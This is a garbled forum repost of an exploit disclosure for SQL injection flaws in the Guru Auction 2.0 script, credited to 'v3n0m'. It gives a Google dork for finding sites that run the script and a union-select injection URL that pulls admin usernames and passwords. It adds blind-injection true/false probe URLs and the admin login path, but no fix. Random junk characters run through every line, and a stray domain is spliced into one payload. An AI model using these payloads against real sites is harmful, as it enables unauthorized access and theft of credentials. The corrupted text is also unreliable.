Guru Auction 2.0 Multiple SQL Injection Vulnerabilities, ?6 q; x4 N5 }" `1 b7 |# b, [' A6 \
) f* p# r5 r! u5 e% g+ D; M& I' z4 d
作者 : v3n0m m/ M* x; ^, |
应用 : Guru Auction 2.0
4 X* `; m7 K0 I5 N) M! VPrice : $49
! y# d. g5 m; N" I: BVendor : http://www.guruscript.com/3 W( _- P/ J: g) a3 A
Google Dork : inurl:subcat.php?cate_id=
: x* q) ?9 V- e/ u) C/ {
/ C; A( B5 Q) VSQLi p0c:
" X8 `2 d* k% n; _! V! P~~~~~~~~~~
R: E. @, o& T* T0 i9 [http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--# b9 \3 n6 u2 w- Q
0 v1 h6 K/ y* I. c
8 b" m' _6 A8 Y H8 I8 c* ^: C) B/ v盲注 p0c:
. ^+ c, K' G4 Q! x~~~~~~~~~~; f0 s9 n# _' Z; e: b) c; n q
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true7 K& `5 K/ @6 I( X9 a9 L3 N) y
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
5 q5 ]+ P+ Q* l" o& b4 z3 M% G 8 |. b, G' f1 s/ K0 R: ?& S: X
管理登录入口:9 `4 n' C- N% g1 A6 j( T7 h/ R( L% v* t
~~~~~~~~~~
& c% s( u& V; }8 ?http://domain.tld/[path]/admin/0 }! {1 K7 }3 Y/ p( v
|
发表于 2012-12-31 09:24:05
收藏
支持
反对